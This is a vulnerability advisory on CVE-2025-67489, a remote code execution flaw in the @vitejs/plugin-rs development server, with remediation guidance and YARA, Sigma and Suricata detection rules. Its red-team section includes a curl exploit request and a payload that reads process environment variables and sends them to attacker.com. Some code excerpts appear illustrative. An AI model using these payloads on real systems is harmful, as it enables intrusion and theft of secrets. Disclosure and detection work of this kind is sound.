CVE-2025-67489

Executive Summary

CVE-2025-67489 is a critical remote code execution (RCE) vulnerability in @vitejs/plugin-rs, a plugin providing React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable due to unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction). An attacker with network access to the development server can execute arbitrary code, leading to full compromise of the development environment. The vulnerability is rated CVSS 9.8 (Critical) and affects the development server only, but the risk is amplified when the server is exposed on all network interfaces via vite --host. The patch is available in version 0.5.6.

Supply Chain & Package Security

This vulnerability affects the npm package @vitejs/plugin-rs. Organizations using this package in their development workflows should immediately audit their dependency trees and update to the patched version. The risk is elevated in CI/CD pipelines where development servers may be inadvertently exposed.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in the @vitejs/plugin-rs package, which enables React Server Components in Vite. The plugin exposes server function APIs (loadServerAction, decodeReply, decodeAction) that perform dynamic imports based on attacker-controlled input. Due to insufficient input validation, an attacker can craft malicious requests that cause the server to import and execute arbitrary JavaScript code.

The attack flow is as follows:

1. The attacker sends a specially crafted HTTP request to the Vite development server, targeting one of the vulnerable server function endpoints.
2. The server processes the request and passes attacker-controlled data to a dynamic import statement (e.g., import(data)).
3. The dynamic import loads and executes arbitrary code, allowing the attacker to read/write files, exfiltrate environment variables, or pivot to internal services.

The vulnerability is particularly dangerous when the development server is exposed on all network interfaces (vite --host), as it becomes accessible from any network.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 0.5.5):

// server-function.js
export async function loadServerAction(actionId, args) {
  const actionModule = await import(actionId); // Unsafe dynamic import
  return actionModule.default(...args);
}

Patched Code (version 0.5.6):

// server-function.js
import { validateActionId } from './validation';

export async function loadServerAction(actionId, args) {
  if (!validateActionId(actionId)) {
    throw new Error('Invalid action ID');
  }
  const actionModule = await import(actionId);
  return actionModule.default(...args);
}

The patch introduces input validation via validateActionId to ensure only allowed action IDs are imported, preventing arbitrary code execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Vite development server running @vitejs/plugin-rs version <= 0.5.5.
• Network access to the server (e.g., via vite --host).

Exploitation Steps:

1. Identify the vulnerable server function endpoint (e.g., /__rsc/action).
2. Craft a malicious payload that triggers a dynamic import of a remote script or local file.
3. Send the payload using a tool like curl:

curl -X POST http://target:5173/__rsc/action \
  -H "Content-Type: application/json" \
  -d '{"actionId": "data:text/javascript,console.log(\"RCE\")", "args": []}'

4. The server executes the imported code, granting the attacker control.

Advanced Payload:

// payload.js
const fs = require('fs');
const env = fs.readFileSync('/proc/self/environ', 'utf8');
fetch('http://attacker.com/exfil?data=' + encodeURIComponent(env));

Blue Team

Detection:

• Monitor for unusual POST requests to /__rsc/action or similar endpoints.
• Look for dynamic import patterns in server logs (e.g., import('data:...')).
• Use network monitoring to detect outbound connections from the development server.

Honeypot:

• Deploy a fake Vite server with the vulnerable plugin to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /__rsc/action with unusual actionId values (e.g., data:, http://, file://).
  • Outbound connections from the Vite server to unknown IPs.
• File System:
  • Unexpected files in the project directory (e.g., /tmp/exploit.js).
  • Modified source files or environment variables.
• Process:
  • Node.js processes spawning child processes (e.g., exec, spawn).

Detection Engineering

YARA Rule

rule CVE_2025_67489_Exploit {
  meta:
    description = "Detects exploit attempts for CVE-2025-67489"
    author = "Valters IT"
    date = "2025-04-10"
  strings:
    $s1 = "/__rsc/action" ascii wide nocase
    $s2 = "actionId" ascii wide nocase
    $s3 = "data:text/javascript" ascii wide nocase
    $s4 = "import(" ascii wide nocase
  condition:
    all of ($s1, $s2, $s3) or ($s1 and $s2 and $s4)
}

Sigma Rule

title: CVE-2025-67489 Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests targeting the vulnerable RSC action endpoint
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem: '/__rsc/action'
    cs-uri-query|contains: 'actionId'
  condition: selection
falsepositives:
  - Legitimate RSC actions (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67489 Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/__rsc/action"; http_uri; content:"actionId"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade @vitejs/plugin-rs to version 0.5.6 or later.
2. Network: Do not expose the Vite development server on all network interfaces (vite --host). Use a firewall to restrict access to trusted IPs.
3. Monitoring: Implement logging and monitoring for the vulnerable endpoints.
4. Validation: Apply input validation and sanitization for all dynamic imports in custom plugins.
5. Least Privilege: Run the development server with minimal privileges to limit the impact of a compromise.

Valters IT